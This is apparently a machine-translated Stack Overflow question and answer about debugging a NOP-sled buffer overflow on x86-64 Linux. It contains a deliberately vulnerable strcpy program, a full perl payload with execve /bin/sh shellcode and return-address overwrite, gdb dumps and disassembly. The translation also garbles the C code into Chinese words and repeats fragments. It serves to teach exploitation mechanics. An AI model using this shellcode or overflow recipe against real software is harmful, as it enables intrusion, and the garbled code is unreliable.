Linux 为什么NOP的数量似乎会影响外壳代码是否成功执行?
我正在学习缓冲区溢出(仅用于教育目的),在使用NOP滑动技术执行外壳代码时,出现了一些问题,比如为什么外壳代码有时不执行 我编译了以下代码(使用Ubuntu 18.04.1 LTS(x86_64),gcc 7.3.0,禁用ASLR)Linux 为什么NOP的数量似乎会影响外壳代码是否成功执行?,linux,assembly,x86-64,buffer-overflow,shellcode,Linux,Assembly,X86 64,Buffer Overflow,Shellcode,我正在学习缓冲区溢出(仅用于教育目的),在使用NOP滑动技术执行外壳代码时,出现了一些问题,比如为什么外壳代码有时不执行 我编译了以下代码(使用Ubuntu 18.04.1 LTS(x86_64),gcc 7.3.0,禁用ASLR) #包括 #包括 void函数(char*args) { 字符buff[64]; printf(“%p\n”,浅黄色); strcpy(buff,args); } int main(int argc,char*argv[]) { 函数(argv[1]); } 如下所
#包括
#包括
void函数(char*args)
{
字符buff[64];
printf(“%p\n”,浅黄色);
strcpy(buff,args);
}
int main(int argc,char*argv[])
{
函数(argv[1]);
}
如下所示:gcc-g-o main.c-fno stack protector-z execstack
。
然后我调用了gdb main
,b9
,以及
run `perl -e '{ print "\x90"x15; \
print "\x48\x31\xc0\xb0\x3b\x48\x31\xd2\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe3\x08\x48\xc1\xeb\x08\x53\x48\x89\xe7\x4d\x31\xd2\x41\x52\x57\x48\x89\xe6\x0f\x05"; \
print "\x90"x8; \
print "A"x8; \
print "\xb0\xd8\xff\xff\xff\x7f" }'`
上面的字符串由NOPs+外壳代码+NOPs+字节组成,用于覆盖保存的帧指针+字节,用于覆盖返回地址。我根据printf
行的输出选择了返回地址。(注意:明确地说,上面的hexcode在x86_x64中打开了一个shell)
从以下输出可以看出,缓冲区按预期溢出
(gdb) x/80bx buff
0x7fffffffd8b0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd8b8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x48
0x7fffffffd8c0: 0x31 0xc0 0xb0 0x3b 0x48 0x31 0xd2 0x48
0x7fffffffd8c8: 0xbb 0x2f 0x62 0x69 0x6e 0x2f 0x73 0x68
0x7fffffffd8d0: 0x11 0x48 0xc1 0xe3 0x08 0x48 0xc1 0xeb
0x7fffffffd8d8: 0x08 0x53 0x48 0x89 0xe7 0x4d 0x31 0xd2
0x7fffffffd8e0: 0x41 0x52 0x57 0x48 0x89 0xe6 0x0f 0x05
0x7fffffffd8e8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd8f0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fffffffd8f8: 0xb0 0xd8 0xff 0xff 0xff 0x7f 0x00 0x00
(gdb) info frame 0
[...]
rip = 0x5555555546c1 in function (main.c:9); saved rip = 0x7fffffffd8b0
[...]
Saved registers:
rbp at 0x7fffffffd8f0, rip at 0x7fffffffd8f8
从这里继续确实打开了外壳。但是,当我将以下内容用作参数时(唯一的区别是我将\x90”x15
替换为\x90”x16
,将\x90”x8
替换为\x90”x7
)
我明白了
(gdb) x/80bx buff
0x7fffffffd8b0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd8b8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd8c0: 0x48 0x31 0xc0 0xb0 0x3b 0x48 0x31 0xd2
0x7fffffffd8c8: 0x48 0xbb 0x2f 0x62 0x69 0x6e 0x2f 0x73
0x7fffffffd8d0: 0x68 0x11 0x48 0xc1 0xe3 0x08 0x48 0xc1
0x7fffffffd8d8: 0xeb 0x08 0x53 0x48 0x89 0xe7 0x4d 0x31
0x7fffffffd8e0: 0xd2 0x41 0x52 0x57 0x48 0x89 0xe6 0x0f
0x7fffffffd8e8: 0x05 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd8f0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fffffffd8f8: 0xb0 0xd8 0xff 0xff 0xff 0x7f 0x00 0x00
(gdb) info frame 0
[...]
rip = 0x5555555546c1 in function (main.c:9); saved rip = 0x7fffffffd8b0
[...]
Saved registers:
rbp at 0x7fffffffd8f0, rip at 0x7fffffffd8f8
这对我来说很好(和上面一样,只是反映了论点中的变化),但是当我继续这一次时,我得到了
Program received signal SIGILL, Illegal instruction.
0x00007fffffffd8ea in ?? ()
而且没有打开外壳
- 非法指令发生在第二个NOP块中。炮台位于NOP区块之前。返回地址似乎已被成功覆盖,为什么不执行外壳代码
- 为什么第一个示例有效,而第二个则无效,唯一的区别是一个NOP在外壳代码之前被删除,并在外壳代码之后插入
编辑:
我添加了外壳代码的反汇编:
0000000000400078 <_start>:
400078: 48 31 c0 xor %rax,%rax
40007b: b0 3b mov $0x3b,%al
40007d: 48 31 d2 xor %rdx,%rdx
400080: 48 bb 2f 62 69 6e 2f movabs $0x1168732f6e69622f,%rbx
400087: 73 68 11
40008a: 48 c1 e3 08 shl $0x8,%rbx
40008e: 48 c1 eb 08 shr $0x8,%rbx
400092: 53 push %rbx
400093: 48 89 e7 mov %rsp,%rdi
400096: 4d 31 d2 xor %r10,%r10
400099: 41 52 push %r10
40009b: 57 push %rdi
40009c: 48 89 e6 mov %rsp,%rsi
40009f: 0f 05 syscall
0000000000 400078:
400078:48 31 c0异或%rax,%rax
40007b:b0 3b mov$0x3b,%al
40007d:48 31 d2异或%rdx,%rdx
400080:48 bb 2f 62 69 6e 2f movabs$0x1168732f6e69622f,%rbx
400087: 73 68 11
40008a:48 c1 e3 08先令$0x8,%rbx
40008e:48 c1 eb 08 shr$0x8,%rbx
400092:53%rbx推送
400093:48 89 e7 mov%rsp,%rdi
400096:4d 31 d2异或%r10,%r10
400099:41 52推力%r10
40009b:57%推送rdi
40009c:4889E6MOV%rsp%rsi
40009f:0f 05系统调用
Jester猜测外壳代码的推送
操作覆盖了外壳代码远端关于第二个示例的指令是正确的:
在接收到SIGILL
后,通过设置set discompose next line on
并重复第二个示例来检查当前指令
Program received signal SIGILL, Illegal instruction.
0x00007fffffffd8ea in ?? ()
=> 0x00007fffffffd8ea: ff (bad)
先前位于此地址的NOP(90
)已被ff
覆盖
这是怎么发生的?再次重复第二个示例,并另外设置b8
。此时,缓冲区尚未溢出
(gdb) info frame 0
[...]
Saved registers:
rbp at 0x7fffffffd8f0, rip at 0x7fffffffd8f8
从0x7fffffffd8f8开始的字节包含离开函数后返回的地址。然后,这个0x7fffffffd8f8
地址也将是堆栈继续再次增长的地址(在那里,将存储前8个字节)。实际上,继续使用gdb并使用si
命令表明,在外壳代码的第一条push
指令之前,堆栈指针指向0x7fffffd900
:
(gdb) si
0x00007fffffffd8da in ?? ()
=> 0x00007fffffffd8da: 53 push %rbx
(gdb) x/8x $sp
0x7fffffffd900: 0xf8 0xd9 0xff 0xff 0xff 0x7f 0x00 0x00
。。。执行push
指令时,字节存储在地址0x7fffffffd8f8
:
(gdb) si
0x00007fffffffd8db in ?? ()
=> 0x00007fffffffd8db: 48 89 e7 mov %rsp,%rdi
(gdb) x/8bx $sp
0x7fffffffd8f8: 0x2f 0x62 0x69 0x6e 0x2f 0x73 0x68 0x00
继续此操作,可以看到在外壳代码的最后一个push
指令之后,push
的内容被推送到堆栈的地址0x7fffffffd8e8
:
0x00007fffffffd8e3 in ?? ()
=> 0x00007fffffffd8e3: 57 push %rdi
0x00007fffffffd8e4 in ?? ()
=> 0x00007fffffffd8e4: 48 89 e6 mov %rsp,%rsi
(gdb) x/8bx $sp
0x7fffffffd8e8: 0xf8 0xd8 0xff 0xff 0xff 0x7f 0x00 0x00
但是,这也是存储syscall
指令的最后一个字节的位置(参见问题中的x/80bx buff
输出,了解第二个示例)。因此,无法成功执行系统调用和外壳代码。这在第一个示例中没有发生,因为推送到堆栈上的字节会向右增长,直到外壳代码结束(不覆盖外壳代码的一个字节):8个NOP的8个字节(“\x90”x8
)+8字节用于保存的基本指针+8字节用于返回地址,为3推送操作提供了足够的空间。我没有分解外壳代码正在执行的操作,但它显然会覆盖自身。这是我能想到的唯一一种方法,用以前是NOP
的代码得到SIGILL
。当由于信号而停止时,重新检查当前指令。您可能会发现它不再是NOP
。反向工作以找出是什么覆盖了它。我添加了反汇编。谢谢你的建议,我将研究gdb如何做到这一点。为什么这个问题被否决了?它使用了两个推送指令。由于您的代码在堆栈上,它很可能会覆盖自身。正如我所说,在信号到达后检查错误指令,看看它是否被覆盖。@Jester谢谢,你是对的!我将根据您的提示发布我的调查结果作为答案。GDB具有显示反汇编“窗口”的layout asm
和layout reg
TUI模式。有时你需要点击control-L在它不同步时重新绘制,但是这对于查看你单步完成的asm来说是非常好的。(有关GDB提示,请参见的底部。)IDK如何处理自修改代码(acciden
0x00007fffffffd8e3 in ?? ()
=> 0x00007fffffffd8e3: 57 push %rdi
0x00007fffffffd8e4 in ?? ()
=> 0x00007fffffffd8e4: 48 89 e6 mov %rsp,%rsi
(gdb) x/8bx $sp
0x7fffffffd8e8: 0xf8 0xd8 0xff 0xff 0xff 0x7f 0x00 0x00